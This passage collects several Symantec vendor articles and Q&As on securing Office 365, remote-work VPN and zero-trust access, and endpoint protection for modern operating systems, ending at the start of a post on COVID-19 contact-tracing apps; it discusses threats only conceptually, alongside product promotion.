Jeff: The surface area of exposure and risk is greatly increased, and that should be the red flag for administrators. Far too often, we find out that security was brought in either right at the last yard line before things go live - or not at all until something bad happens. That is also a pitfall that we unfortunately recognize throughout these projects as well.
Gary: If I had to put a percentage on it, I would probably say that Office 365 is driving 80 percent of those multi-factor authentication conversations. It is quite telling, especially when you start thinking about all the different devices that users can access.
Q: When you talk with customers about how to secure their 365 implementations and proactively protect themselves, how should they think about application security?
Jeff: We want to look at ways that hopefully detect and give us a better chance of finding things like hidden URLs in the message body of an email attachment that could lead to malware or ransomware. There’s a massive amount of malicious content that gets embedded and hidden in the message body of email attachments.
The next thing would be to secure their e-mail flow and try to eliminate spoofing and enable strategies that help detect business email compromise attacks, which are a very real thing. The policy tools that are delivered out of the box are not good enough. Organizations have to look hard at ways to not only train their employees, but to complement that by leveraging Machine Learning technology and integrating that into any system that can help. Lastly, I'll add a higher-level concept to this conversation, which is data-loss prevention. If we look at preventing data loss, or just simply detecting abnormal data movement, that could signal some preempted data filtration by an insider.
There are tools that help wrap themselves around Office 365 and some of its close cousins like OneDrive to ensure that the workspace is protected, to make sure that behavioral patterns are benchmarked and measured and established and reported. That’s going to help me secure your data, stop threats, and refine your policies for controlling access to that email. So, the short list looks like multi factor authentication, cloud application security, securing the email flow, and data loss prevention.
Gary: Security professionals also have to consider their users and the user experience. You know it's one thing to be as secure as possible, but you don't want your end users not being able to easily access Office 365 or other cloud applications. And that's where implementing proper, more modern identity solutions from an identity management perspective comes into play. You can still graph all of those security solutions around Office 365 and still have a great user experience with a user being able to single sign in to their many different cloud applications.
Click here for the Office 365 Checklist
Q: When thinking about combating threats to Office 365 security, what tactics should customers consider?
Gary: We promote education, so we'll sell a solution where a customer can send internal fake malware or a fake phishing email and then the customer can self-assess how their users did and make them go through additional training if they clicked on something malicious etc. We would tell customers to do that regardless whether or not they are using Office 365.
Jeff: That's a great point. If we collectively look at the stack of applications within Office 365 - and I’m thinking about the fundamental principles that security practitioners share - one of those cornerstones that should help drive proper security controls - while, of course, not impeding the user experience - is to enforce the principle of least privilege and build a model that strives to achieve least privilege access to data.
Q: What are some of the questions they ought to ask?
Jeff: Hopefully, when they’re discussing the type of information that they are housing or sharing or where users may have access to, it would sound like this: Who has access to my data? Should those users have access to that data? What type of data exists? How much structured versus unstructured data is permeating throughout that ecosystem? Who are the data owners and how do I begin the daunting task of classifying that?
Q: Why is data classification so key to this?
Data classification is important because it helps enable users to better track and secure sensitive files across all of the enterprise data stores. It helps enforce the principle of least privilege. It helps with compliance and regulation. Simply put, it takes the proper context and story around mislabeled files that can keep sensitive data that everyone may have access to so it closes that surface area by enabling permission and access entitlement rights to the right users for the right information at the right time.
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Securing Office 365: Get Your Security Right in any Move to the Cloud
Q&A with Insight’s Richard Diver about what organizations ought to do get everything battened down properly
[Editor’s note: This is part 2 of a 4-part series of Q&As that Symantec is conducting with experts and practitioners in the field, examining the myriad security issues involved with Office 365. Click here to read our earlier interview with ESG analyst Mark Bowker about the new security burden facing IT shops in the SaaS era.]
When it comes to securing Office 365, customer questions run the gamut. It often starts with the basics around whether the public cloud is more secure than in their private data centers, which to a certain level, it can be.
But as organizations think about how to scale their operations on a cloud infrastructure, they need to adopt adequate security procedures that may be different from the ones that prevailed when everything ran off their own data centers. As they build out their environment, it requires attention to the basics like, 'How do you prevent documents from leaking? Or how do you prevent accidents and make sure to secure the environment?
At the same time, while Microsoft is continually improving the platform and bringing more security functionality to the platform, there are always going to be gaps that will require customers either to innovate or partner with other vendors who can help with integrated solutions.
We caught up recently with Richard Diver, Cloud Security Architect at Insight, to talk about what’s top of mind these days when he talks with customers about handling security challenges around the implementation of a cloud solution like Office 365.
Q: How often are users coming into this process assuming that as a default Microsoft is going to basically protect them?
Most of the companies I deal with have security-savvy people who are doing the pre-reading. They understand that there's only a certain amount that Microsoft can do. If the project was done to promote productivity and they want to provide more functionality to the business, it's going to happen because the business wants it, and it's going to drive their process.
Q: How might their approaches vary if the initiative started with the IT/Security side or the business side of the company?
These two are very different when it comes to ways of adopting technology. If it's being led by an IT or a security team, they might approach it by saying, 'Well, we haven't got much storage and backup resilience, and we need to move to the cloud to get off this dying infrastructure. So let's. Then it becomes a security-led or IT-led drive.
But if it's a business-led initiative, security may present an obstacle. They may just want OneDrive for Business and the priority is to get OneDrive and enable business functionality, not to add more layers of security that they never had in the past. But things like application management and multi-factor authentication – those are the controls that the security team will recommend to implement. And the organization will be left to deal with divided priorities.
Q: What are the security implications of moving to a cloud storage piece of functionality such as OneDrive for Business?
Users might previously have had their files on their PCs. When they create files and content or get an email or attachment, they would save it locally where they would have access to it offline. There would be some security around a managed device, where you could prevent people from connecting to email with an unmanaged device. In that “private world,” IT managed to maintain a lot of control by saying, 'Well, you can only connect if you're in a corporate network or you can get web access if you're on a corporate PC.'
When you get a OneDrive – this is where I've seen a lot of organizations trip up – now it's only protected by a user ID and password, by default. So, as companies go through mass migrations and synchronization, they need to make sure users protect their identity and use multi-factor authentication, which has been a big hurdle for a lot of companies. But it needs to be done every day.
And then the other consideration is the application. You need to control the app and where users get access to that data from in order to prevent against someone exfiltrating that data either on purpose or by accident.
Q: What are your recommendations to potential Office 365 clients as they go about the task of implementing and securing the product. What do they need to do in order to make sure that everything gets battened down properly?
A move into to the cloud is the opportunity to get it right. For everything you didn't do right in the past – or couldn't because you had whatever legacy obstacles – now's the time to get it right and not carry over the bad habits. Do things the right way. The absolute number one thing is administrative. You need to limit the level of access user accounts have. You need to require multi-factor authentication and do things like identity management or access management where you allow admin rights when needed and it's taken away when it’s not. That helps limit risk and potential exposure of the service in case an account gets compromised in one way or another. That's absolutely number one for any cloud deployment anywhere with any company. You have to do this up front.
The second is to inventory what you've already got. You have to understand the technologies and understand what you've got and what you already paid for and what you're going to buy from another company. What have you already paid for? What is the feature set that's already there and deployed? Stop customers from buying point solutions all over the place to fix what they think is a hole or a gap in the Microsoft stack.
Next, change your approach or methodology to adapt to the cloud instead of trying to manage the cloud to work as you’ve always done on-premise. Understand why Microsoft has made certain decisions and choices and why the cloud works that way and why they'll have a roadmap to make it better all the time. In that stack, make sure you've used every bit of it or at least that you've got a plan to use every bit of it that makes sense to you.
Consolidate. Some companies have between 50 to 60 applications for security in their organization, but no security person can manage 50-something different applications. You want to consolidate to the minimum number. That means understanding what you’re buying and educate yourself about why it matters.
Microsoft offers a range of additional solutions to help secure the cloud environment, such as M365 E3 and E5 - you have you weigh up your options and decide the right fit for your organization. If you are not going to invest in the full Microsoft solution stack, make sure you've got an alternative answer because everything in that stack is really critical to cloud security. If you don't have a better answer, then you probably should consider investing in the Microsoft stack as a minimum, and plan to deploy the solutions as part of your cloud adoption.
Work to make the end-user journey better. This is why you go to cloud in the first place. But be careful not to shoot yourself in the foot. The adoption of cloud is supposed to foster a better collaborative experience and enable greater productivity. So, don't lock it down to the nth degree for everyone, everywhere, all the time. Allow a space where collaboration can occur internally and externally with partners and customers while having the right controls in place to enable security protection in the background, helping the business. Make it a good security experience. For example, make sure there is multi-factor authentication for end users, but don't make it so hard that they get so annoyed with it that they don't enjoy the journey. It should just be part of the natural course of their work routine, like a reflex action when they log on. It’s up to you to educate them, not block their productivity.
Join Insight's Richard Diver and ESG analyst Mark Bowker on our Live webcast October 17 to ask your Office 365 Security Questions.
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Securing Office 365: Keeping a Step Ahead on SaaS Security
Here’s what organizations need to know to reduce threats targeting the world’s most ubiquitous SaaS app
[Editor’s note: This is part 3 of a 4-part series of Q&As that Symantec is conducting with experts and practitioners in the field, examining the myriad security issues involved with Office 365. Click here to read our earlier interview with ESG analyst Mark Bowker about the new security burden facing IT shops in the SaaS era.]
Office 365 remains the world’s most widely-used software-as-a-service application (SaaS) but it also presents myriad new security challenges for organizations – including the fact that it’s very popularity makes Office one of the most targeted cloud apps around. We spoke recently with Symantec senior technical sales manager, Adrian Covich, to find out what measures he recommends customers take to keep attackers at bay.
Q: When customers implement Office 365 into their operations, what are some of the security issues around SaaS implementations that are catching your attention?
One of the interesting things about Office 365 - owing to the fact that it is the most ubiquitous SaaS app out there - is the fact that while it’s designed to make life easier, it also tends to lay bare the vulnerabilities in the process of the business organization.
Q: How does that play out in practice?
When you move to a SaaS environment, you remove a lot of the technical vulnerabilities because, in many respects, those become part of the responsibility of the SaaS providers - and they’re usually pretty good at managing them. But at the same time, we see a lot of instances of people having their Office 365 accounts taken over. These are very well-done attacks born of the cloud era, whereby emails lure victims into giving away their password credentials. By itself, that’s not unusual. But because Office 365 has one single home page - it’s office.com - for companies as big as Symantec or as small as a bicycle repair shop - once you have somebody’s username and password, it's as easy as going to office.com and logging in. Once they’re in, attackers have access to all your mail and OneDrive and that affords them a lot of capability which they take advantage of.
Q: When you compare the security issues around Office 365 implementations with other SaaS apps, is there a higher degree of risk because of its ubiquity?
There certainly are a lot of powerful SaaS applications out there, like Workday and Salesforce. But I think Office 365’s mass appeal in large and small organizations means that it is also very recognizable. And that also makes it a great target for attackers.
Q: Bigger corporations have the means to employ a lot of IT and security specialists. But smaller businesses don’t have the same luxury. Do you find them ignoring the security basics? Are they failing to take advantage of making sure they use 2-factor authentication, for example?
Anecdotally, I would say yes. People are looking for the base functionality and don't necessarily proceed with security in mind. They also misunderstand the point to which Microsoft will secure them out of the box versus what they still need to do. There are still fundamental questions you need to answer with SaaS when it comes to the delineation of responsibilities and who has access to data. Are your users who they say they are? What data are you storing and are your business processes sufficiently secure?
Q: What are some of the worst-case examples that result because of that misapprehension?
We see credentials being stolen and then attackers use them to rifle through employees’ OneDrive, send out fake emails, harvest credentials - and also get a look at people's interactions with each other. It becomes even more insidious with the use of internal impersonation to steal money - and significant amounts of money - where an organization may have business processes that allow the transfer of, say, ½ million dollars to the CFO. If an intruder gets a hold of someone’s credentials, Office 365 lays that weakness bare because all the technical security that would normally should be required doesn’t occur.
Q: So, this goes back to your earlier point about knowing where the lines of responsibility end for one side and start for the other.
I think it's a bit of both. And there’s another factor to consider because the emphasis when onboarding these solutions isn’t security.
Microsoft focuses on developing these products to promote ease-of-use. Those emails should not make their way into Office 365 and yet they do. So, it’s very clear that in many cases along this journey, they simply don't have the focus or the skills that a dedicated security company would.
Q: Given all that, what should CSOs and CISOs be keeping top-of-mind as they think about how to secure their organizations in any Office 365 rollout?
For me, it's fundamental that we need to understand that as you move to SaaS, there’s a difference. We have created a whole (security) model on the premise that we have built out a perimeter with walls surrounding our castle and that’s been able maintain a level of security throughout that time. But when we move to SaaS, there is no “castle” anymore and there still is responsibility on you, not just the providers. Attackers are evolving, and they are attacking cloud infrastructure. We no longer have that perimeter approach anymore, so it's important for customers to be able to answer fundamental questions about who is accessing their infrastructure and make sure that they are who they say they are. Do they know where their data is? Do they know who is accessing information being stored.
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Securing the Immediate Shift to Remote Work
Introduction
Securing a Network Infrastructure has never been a static
activity. Adjustments are always needed but are normally
related to disruptive technologies that are introduced over
time. What we are experiencing now is a massive shift in
network architecture in an unprecedented short period of
time. The migration of a workforce from inside a network
to remote locations has already strained corporate (and
government) resources driving the need for upgrades, but
this initial wave of IT upgrades is not the only challenge
that organizations will face. We believe that there are three
phases of this forced migration:
• Physical IT infrastructure expansion
• Security Incident Identification expansion
• Zero trust architecture expansion
The physical expansion has already been solved through
the expansion of VPN gateways, load balanced firewalls,
traffic shapers, etc. Network architects relied on the
concept of beefing-up the existing connectivity as a
stopgap measure to handle the increased load. The
cloud transformation will continue for those organizations
that have already committed to those activities. This
challenging computing environment will force organizations
to be nimble and secure by adopting capabilities like
Symantec® Secure Access Cloud achieving point-to-point
connectivity at the application level, cloaking all resources
from the end-user devices and the internet. The networklevel attack surface is entirely removed, leaving no room for
lateral movement and network-based threats.
This paper will focus on the threats that will certainly seek
to take advantage of the workforce migration. Solution
architects demand the use of VPNs for information security,
but the location and security posture of the endpoint will
be critically important in defending an enterprise as will an
evolution of Security Operations Center (SOC) business
processes. Finding actors who are “living off the land” and
using built-in system commands is a manually intensive
process without the correct toolset (such as the Symantec
Targeted Adversary Analytics framework from Broadcom).
The increase in remote users and their transition to home
machines which are often less protected than corporate
machines will overwhelm many SOCs with additional data
from these users, making it much more difficult to identify
malicious activity among benign log entries.
The use of Standard Operating Environment (SOE)
endpoints verses Use Your Own Device (UYOD) endpoints
will be a critical policy decision for leaders to make. We
will introduce some threat vectors that may have existed
and are under the radar of many organizations not familiar
with a remote workforce. We will then offer four use cases
and a recommended security posture that will offer state
of the art protection and monitoring.
VPN as a Threat Vector
Because a VPN capability is the current defacto standard
for securing remote access to a network, it is a focus of
attack for an adversary. Much has been written recently
about SSL VPNs and the wide use of unpatched flaws that
allow actors to attack the infrastructure of an organization.
Organizations that are adding VPN concentrators are
adding to the workload of their IT staff, but also increasing
the surface area that must be monitored for an attack.
The user end of the VPN also becomes an increased
threat vector, in that machines that connected only via
the corporate network are now connecting via a home
network. These machines are exposed to additional threat
vectors (other compromised machines on the home
network, man-in-the-middle attacks against the home
network provider, spoofed WI-FI networks, etc.) and if
compromised, would provide direct access to the internal
corporate network via VPN.
Split tunnels can be used to route corporate traffic into a
VPN tunnel with other Internet connections routed to the
machine’s next hop. The operational benefit of this type
of VPN configuration is a reduction in physical load on the
VPN concentrators and fewer log entries to be analyzed
by the SOC. Split tunnels put the burden on the endpoint
and the user to be both technically secure and securely
vigilant. If a phishing campaign is successful in a split
tunnel configuration, the threat to the organization is real if
and when the VPN tunnel is up.
Public Services that require
CAC authentication
Military organizations use Common Access Cards
(CAC) as a means of authenticating to a machine or
service. Civilian organizations use Personal Identity
Verification (PIV) cards to perform the same function.
Utilizing a CAC card to authenticate opens the user to
similar threats as they would face using a split tunnel.
If the CAC authenticates a user who then gets phished,
the threat can be transferred to any other service
visited by the user. The Sykipot threat from 2006 did
exactly this. Stealing the CAC PIN, then authenticating
to USG resources as an authenticated user. Broadcom
published a blog highlighting a study of CAC and PIV
threat vectors.
Anatomy of the modern attack
landscape
Until recently, attacks varied in sophistication but
shared a high-level attribute in common. Most were
custom software development efforts. This began to
shift with the availability of powerful scripting tools like
Microsoft PowerShell. Actor Tools, Techniques, and
Procedures (TTP) shifted quickly to this vector, that the
industry has labeled living off the land. Now only one
successful attack is needed for an actor to be able to
move quickly throughout an enterprise.
Use Case #1: Standard Operating
Environment (SOE) used remotely
This use case has two components that need to
be addressed. As noted earlier, the load on a VPN
concentrator will need to be addressed before an
entire workforce can shift to remote access. The
Network Architect can use Split tunnels or Symantec
Web Security (WSS). WSS is the ideal solution to
split tunnels because traffic to web services not under
corporate control can be secured by WSS.
Additionally, Symantec Secure Access Cloud mediates a
secure network connection between each remote user
and application, to provide least-privilege access to
authorized services and reduce the attack surface.
An SOE is more likely to have a known endpoint security posture and participate in a Domain Environment. This will certainly reduce the attack matrix but there is always an opportunity for an
actor to succeed. If an actor gains access to an SOE
endpoint on a corporate network, they will explore the environment to determine what information is available and to move laterally across the network.
Symantec Threat Defense for Active Directory (standalone version) will provide notification of an adversary
enumerating active directory information, and WSS will
provide notification of unusual user behavior accessing cloud resources.
Additionally, an SOE client is more likely to be designed
to allow remote access to a corporate network. This should include a Network Access Control (NAC)
capability within the VPN of choice. An administrator is likely to perform minimum security checks on the
connecting device and can quarantine a device if it is out of compliance.
Use Case #2: Use Your Own Device
(UYOD) environment used remotely
We know that some organizations are asking users to
connect to corporate assets from home computers,
most likely by installing a VPN. This method of access
introduces extensive risk to an organization because
the back office has little to no control of the security
posture of the endpoint. The endpoint may already
have an active threat or could become infected when
used for family computing activities.
Symantec Web Security Service (WSS) is an
indispensable line of defense against modern day
cyber threats. It provides secure web services, enables
enterprises to control access, protects users from
threats, and secures their sensitive data.
Symantec Secure Access Cloud can augment VPN
capacity by providing secure connectivity for remote
workers to corporate applications and systems without
exposing internal networks to attackers. SAC is a cloudbased software-defined perimeter that acts as a trust
broker between users and resources. It is agentless
and doesn’t require a VPN client, making it ideal for
employees and third parties accessing applications
from unmanaged devices.
Utilizing Network Access Control on a UYOD device
that connects over VPN should not be optional. An
administrator must protect the back-end network by
measuring any client that connects over VPN.
Additionally, Symantec Endpoint Security (SES)
provides visibility and peace of mind by delivering
prevention and protection technology to all endpoints,
whether corporate owned or UYOD. This includes
traditional (desktop or laptop) and modern (mobile or
tablet) endpoints across every OS (Windows, MacOS,
Linux, iOS, or Android). SES is fully cloud managed
and perfectly suited for complex UYOD remote
environments like those customers need today.
Use Case #3: UYOD environment connecting to United States Government (USG) resources
If a UYOD worker is using a CAC or PIV card to
authenticate to web applications within government
networks, they are raising the risk to the organization.
If their system is infected with sykipot-like malware, the
actor can ride on the connection and attack the web
service the user is visiting or access the user’s sensitive
information. The CAC and PIV software does not have
an ability to perform Network Access Control over this
type of connection. The security posture of the entire
network would rely on the protections of that one machine.
Use Case #4: Bring Your Own Device (BYOD) Mobile device access
Desktop utilization is not the only stress point on a
corporate network in this migration window. Mobile
connections to corporate resources are likely to
increase regardless of a corporation’s BYOD policy.
While solutions have been introduced for securing
mobile devices, applying these to BYODs continues
to be a challenge due to lack of an enforcement
mechanism. On personal devices, as opposed to
managed endpoints, the employee is the “admin” and
essentially decides what goes onto their device. This
has made it difficult to achieve widespread adoption
of Mobile Threat Defense (MTD) apps on employee
BYODs. This was an issue even before the remote
migration. We expect this problem to be exacerbated
by recent trends.
With the change in the way we work and the speed
with which it has changed, Broadcom has done
research into best practices on how to minimize
threats for your organization. If you would like more
data on the research and would like to speak with the
team, please reach out to your Broadcom account
representative to discuss further.
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Securing the OSs of Today and Tomorrow
Symantec Endpoint Security is the answer to protecting modern devices – in addition to traditional endpoints – in a single solution
The divide between traditional and mobile devices that has long existed in enterprise endpoint security is quickly fading. CISOs and their teams are increasingly seeing the importance of securing mobile devices, in addition to traditional workstations. Employees often read their emails for the first time on their phones and conduct a fair share of business transactions on them. Mobile devices are also increasingly used for multi-factor authentication (MFA) into sensitive corporate systems. In fact, mobile endpoints now outnumber traditional endpoints in the workplace. It only makes sense, then, to extend endpoint security to mobile as well.
While sophisticated security teams realize they must protect data consistently across all of today’s operating systems and endpoints, I argue this is no longer enough. We need to be ready to protect both today’s – and tomorrow’s – operating systems.
Few organizations are ready for a new breed of “modern” OSs that is starting to run on traditional workstations. “Modern” is no longer just mobile, but also traditional OSs that are becoming always-connected, more locked-down, and enablers for constant access to personal and corporate data in the cloud through available networks.
Symantec is the only vendor that protects all major operating systems – traditional and modern – in one solution. In addition to providing comprehensive protection on popular operating systems like Windows, macOS and Linux, Symantec Endpoint Security addresses the growing trend of modern OSs such as Windows 10 in S mode, Windows on ARM, iOS and Android, and delivers advanced protection capabilities to combat the types of threats that target these newer OSs. While modern OSs are designed to be “secure by default,” as we learned with mobile, even a locked-down OS can be exploited.
When Traditional Becomes Modern
As business users expect constant connectivity and are always on the move, traditional OSs are evolving to accommodate these behaviors. The newer Windows and macOS versions are borrowing a page from mobile OSs. Windows on Arm is “always on, always connected,” featuring integrated LTE Advanced connectivity. Out-of-the-box connectivity means certain services and apps, like email clients, continue syncing in the background (just as on mobile devices), positioning Windows on Arm as an appealing platform to business users. There is already a wave of these new Arm-based PCs/devices coming from Microsoft, Lenovo, Samsung, and others. Microsoft recently announced two new Surface devices: Surface Pro X and Surface Neo, both of which are running Windows on Arm.
Additionally, Microsoft is securing workstations running Windows 10 in S mode much the same way iOS and Android devices are secured. In S mode, applications that users install from the Microsoft Store are sandboxed (like app sandboxing on mobile). These user-installed apps run in their own user partition so they can’t access system files, or data and files from other applications. This minimizes the risk of data breaches, as any malicious code that is downloaded onto the PC will be contained, unable to affect the OS and other apps and files.
For all the benefits that constant connectivity brings, it can be a double-edged sword.
As these types of devices become more common and connected computing becomes a business necessity, security teams need to be prepared to protect new modern OSs. While locked-down systems are supposed to be more secure, we’ve seen that OSs like iOS and Android are susceptible to their own set of threats, including OS vulnerabilities, network-based attacks, and malicious and vulnerable apps.
Furthermore, for all the benefits that constant connectivity brings, it can be a double-edged sword. Always-connected devices are always reachable; even when you hit the power button, the device is still connected to a network and still active. These devices are also more vulnerable to network threats as they connect more to public Wi-Fis. Any poorly-secured device that has been compromised and then accesses a corporate resource or network serves as a potential avenue of attack. These risk factors make modern OSs an attractive, high-value target for hackers.
Endpoint Security Protection for Modern Operating Systems
Until recently, the thinking in enterprise was that measures for securing traditional endpoints needed to extend to mobile devices. Today, it is clear the model has turned: organizations will need to extend mobile endpoint protection techniques to traditional endpoints as their OSs become more connected and more locked-down. To be successful in the future, organizations need to have a strong modern security foundation.
The good news is that Symantec Endpoint Security is already doing this. We’ve been leading the way in protecting modern OSs for years, through our robust mobile threat defense solution. We’ve borrowed concepts like network integrity for securing iOS and Android devices and applied them to Windows 10 devices, providing active and automatic protection from modern threats. The Endpoint Security app is built on Microsoft’s Universal Windows Platform (UWP), meaning it can be distributed through the Microsoft Store and can run on Windows 10, Windows 10 in S-Mode and Windows on Arm devices.
Essentially, we’re able to deliver out-of-the-box, automatic detection and protection against device and network-based threats, without requiring drivers and kernel extensions to run natively on modern devices. This includes protection against malicious apps and profiles, risky Wi-Fi and carrier networks (evil twin hotspots, fake corporate hotspots, etc.) and exploits of unpatched app and OS vulnerabilities. With our network integrity feature, any time the network state changes – let’s say you disconnect from one network and connect to another – Endpoint Security automatically performs tests on that network, similar to how our mobile security agent validates networks that your mobile devices connect to. If a threat is detected, we immediately activate protection actions such as VPN tunneling or blocking access to sensitive corporate resources.
SES network integrity and automatic VPN protection on Windows 10 devices.
Let’s look at a specific example of Endpoint Security protection on mobile devices. An employee connects to a fake corporate hotspot at their organization’s campus, believing it’s the real corporate network. There is a man-in-the-middle (MiTM) attacker on the network who can see all of the employee’s traffic, including his credentials as he attempts to authenticate to a corporate resource. Mobile users are generally socially engineered into installing a root certificate authority (CA) on their device to allow for seamless decryption of their traffic. On an Endpoint Security-protected device, a VPN tunnel would automatically be activated upon detection of the threat to block the MiTM attacker. This allows the employee to continue using their device seamlessly while protected from the network threat. Endpoint Security can also detect root CAs on both iOS and Android.
Without these automatic detections and protections, sensitive corporate data could end up in the attacker’s hands. In addition, if the organization was relying on a third-party service for enforcement, the attacker would have been able to block it, underscoring the need for on-device protection.
Video of SES protection credentials theft using SSL decryption.
If a VPN tunnel cannot be established, our Sensitive Resource Protection (SRP) can be activated as a fallback layer of protection. Admins can define company resources they want to protect, such as an email or AD domain, in the security policy, and in the case of a network attack, these resources will be isolated on the device, safe from exploitation by malicious actors.
Beyond network threats, Endpoint Security provides protection against app, OS-level, and network content exploits, across all OSs. In terms of protection at the app level, we perform app scanning and analysis on the public app stores, and can block malware or terminate malicious processes before they leak sensitive data. Windows 10 in S-mode may prohibit non-Microsoft Store apps in an attempt to make the OS more secure, but that doesn’t mean the Store is completely clean of risky apps. We’ve repeatedly found deceptive, potentially unwanted applications (PUAs) with risky behaviors and dodgy content built for Windows 10 and Windows 10 in S-mode.
Risky apps can also sneak their way into Apple systems – and we're leveraging our vast mobile app reputation database to stay one step ahead, even on the latest closed macOS versions. MacOS Catalina requires that all new software and apps be notarized. This means that Developer ID-signed software must undergo automatic scans and security checks to validate that it is not malware. The notarization service is intended to prevent the unauthorized use of trusted developer certificates to distribute software. But as one app developer points out, “it doesn't protect against malware authors simply paying $100 (perhaps with fraudulently obtained credit card numbers) to sign up for their own Apple Developer account and notarize their own software with their own Developer ID certificate and their own Apple ID.” This has actually happened here and here, and there have been cases where malicious code has gotten into apps without developers even being aware of it, via the supply chain method. At Endpoint Security, we have extensive experience detecting exploitation of Apple enterprise developer certificates on iOS and can detect these types of threats:
Security incident in the Integrated Cyber Defense management (ICDm) console showing the detection of a “Suspicious Enterprise Developer” trusted by an iOS user.
At the OS-level, Endpoint Security provides vulnerability management for all OS versions. For example, we can detect which endpoint doesn’t have a specific Microsoft patch installed. We also detect vulnerable app versions and can trigger patching and updating to non-vulnerable versions.
Windows, iOS, new OS? There’s an Endpoint Security Technology for That
Visibility is a critical component of any security product, especially for admins. But in modern, locked-down OSs, where other security products need access to elevated privileges to run agents properly – Endpoint Security’s UWP-based agent runs natively. If a risky network is detected, an event and alert are automatically raised in our Integrated Cyber Defense management (ICDm) cloud console with details about the detection.
It’s important to note that this visibility extends across ALL operating systems in an environment. If a threat is detected on any endpoint, events, alerts, and security incidents will appear in the ICDm console, giving security teams unprecedented insight into their entire threat exposure.
ICDm Cloud Console showing supported Operating Systems
Our detections and protections are part of a single product stack that incorporates several different technologies working together under the hood. You don’t have to worry about going through multiple RFPs to acquire separate products, each with their own levels of protection, policies, enforcement, and management for each type of OS you want to protect. You get full coverage in one license, with single agent installation. Simply decide what devices you want to protect, and Endpoint Security provides the technology that best fits each one. That seamless integration and simplicity is hard to come by anywhere else.
The future is an Ever-Connected OS
Traditional and mobile OSs are converging. The result is modern OSs that run on traditional workstations but are designed to accommodate constant connectivity and cloud access, anytime, anywhere. These systems are different from the legacy code that is the traditional Windows and macOS we’ve been accustomed to. They are adapting to different user behaviors, device types and functionalities, bringing with them a host of benefits, but also security challenges. These changes require a new security model that can protect against increasingly-sophisticated modern threats. Symantec Endpoint Security is the only solution with the technology stack to protect these modern systems in addition to traditional OSs, with a single agent installation. Our robust protection, detection and response capabilities extend across all OSs and endpoints in your environment, ensuring they stay safe from all attack vectors. In view of the many changes OSs are undergoing, tech writer Navneet Alang recently proclaimed that “we’re losing control of our computers.” I’d argue, organizations that don’t properly protect modern OSs like mobile, will be losing control. Are you ready to protect your endpoints as this shift occurs?
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Security Advice for 'Work-From-Home' Enterprises
Symantec tools can help manage deluge of remote workers tunneling into your network
When stay-at-home orders hit businesses across the world, many IT groups were understandably challenged to handle the incremental load presented by the massive influx of remote workers on virtual private network (VPN) based remote access systems.
According to Owl Labs only 16% of companies had employees working remotely full-time in 2018. Then suddenly in mid-March, 45% of companies found themselves asking workers to do their jobs from home. The impact of the sudden shift is difficult at this point to quantify, but one thing is clear: Many companies are struggling to quickly adapt to the deluge of remote access.
Traditional remote access VPN implementations often backhaul all remote worker traffic to corporate data centers to provide access to internal applications and to ensure internet access security policies are applied. Apart from the inherent security risks of operating a full-access Layer 4 VPN that has open-port backdoors attackers can exploit, this model works reasonably well under normal circumstances - which for most organizations translates into low double-digit percentages of concurrent remote users. But when suddenly faced with near 100% usage, many of these implementations became oversubscribed.
Companies need to optimize their remote access strategy for security, performance, flexibility and cost, and they need to enforce policy beyond the traditional perimeter - no matter where the user resides.
Even more challenging is the situation faced by businesses without a pre-existing remote access contingency plan. In these scenarios, user-owned devices, with questionable-at-best security postures, can be compromised and used by attackers to gain a foothold in the corporate network where they can move laterally, steal credentials, elevate their privilege, and install malicious payloads or exfiltrate sensitive data from critical systems. The loss in visibility for the security team is alarming.
Companies need to optimize their remote access strategy for security, performance, flexibility and cost, and they need to enforce policy beyond the traditional perimeter - no matter where the user resides.
Many companies have tried to meet the increased demand by scaling out the traditional VPN and associated network infrastructure, but are running into bottlenecks acquiring the necessary hardware or carrier circuit upgrades. Others are throwing in the towel and opening their corporate resources, hosted in the datacenter to be accessed directly from the internet, as well as letting the user connect directly to the internet, putting the user and company data at risk. So both choices pose significant challenges, not just in terms of speed of deployment, but the long-term impact of such policies.
What to do in the short term: Use cloud security services to keep users connected and protected
As companies shift to remote work, cloud security can be implemented quickly to augment and breathe new life into VPN infrastructure. Rather than backhauling internet traffic, you can leverage the power of cloud-based web filtering and remote access solutions:
Cloud based secure web gateway solutions can enforce your browsing policies and protect users and devices from malicious content and downloads without requiring to backhaul internet traffic via on-premises controls.
Software-defined perimeters (SDP), also known as Zero Trust Network Access solutions, provide remote access to your corporate resources, while enforcing security policies on the users and devices.
The VPN can still be used to access internal applications, but web filtering is moved to the cloud, relieving the VPN of the burden of transiting internet traffic through the corporate network. Some cautions: Filtering remote worker web traffic needs to be done right. Some cloud web filters, that at first seem attractive from a rapid deployment perspective, rely heavily on the limited metadata visible in DNS queries. These solutions leave too many security gaps to be desired. To properly secure remote users, a strong filtering solution should be implemented that scans all content, regardless of the reputation of the domain in question.
To further relieve the burden on the VPN, remote workers can be provided with secure access to sensitive data and applications with a cloud-based SDP which acts as a trust broker between users and corporate resources. Unlike traditional network security systems which rely on IP addresses, SDP relies on identity, context and trustworthiness to verify every user and device trying to connect to resources before granting least-privilege access. This approach completely removes the need of exposing your corporate resources to the internet and significantly reduces the network level attack surface, allowing secure access of personal, unmanaged devices while still maintaining data security.
Either way, the business can get to work remotely with policies that keep the business secure.
What to do in the long term: Companies should think beyond traditional VPNs
A better approach to remote access security is needed to overcome the scalability and security flaws of VPNs. A more agile and granular security model rooted in Zero Trust, the concept that organizations must trust nothing and verify everything, can provide secure access to the internet and critical internal applications without the risk of an unrestricted VPN connection to the corporate network.
Implementing a Zero Trust architecture is a gradual process and companies should focus on leveraging the short term wins discussed here and outline a roadmap for improving with essential capabilities such as data loss prevention (DLP), a cloud access security broker (CASB) as things settle down.
The current pandemic could continue to threaten business continuity for the foreseeable future. While almost no one could have predicted this flood of remote workers, what we can now predict is that future iterations of nearly every business continuity plan will mandate supporting a secure remote workforce on a moment’s notice.
What next: We are here to help
Symantec can help your organization stay connected and productive without increasing security risks. Learn how to augment VPN capacity to scale to your current remote workforce needs with Symantec Web Security Service and Secure Access Cloud.
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Security and Privacy of COVID-19 Contact-Tracing Apps
Symantec analyzed the top 25 COVID-19 national contact-tracing apps to see which follow security and privacy best practices.
Unfortunately, in this new COVID-19 era it’s not just our computers we have to protect from infection, but also ourselves and our loved ones. Along with social distancing, wearing a mask, and washing our hands, technology is also playing a part in the fight against the pandemic. COVID-19 contact tracing apps have been deployed by both governments and organizations around the globe.
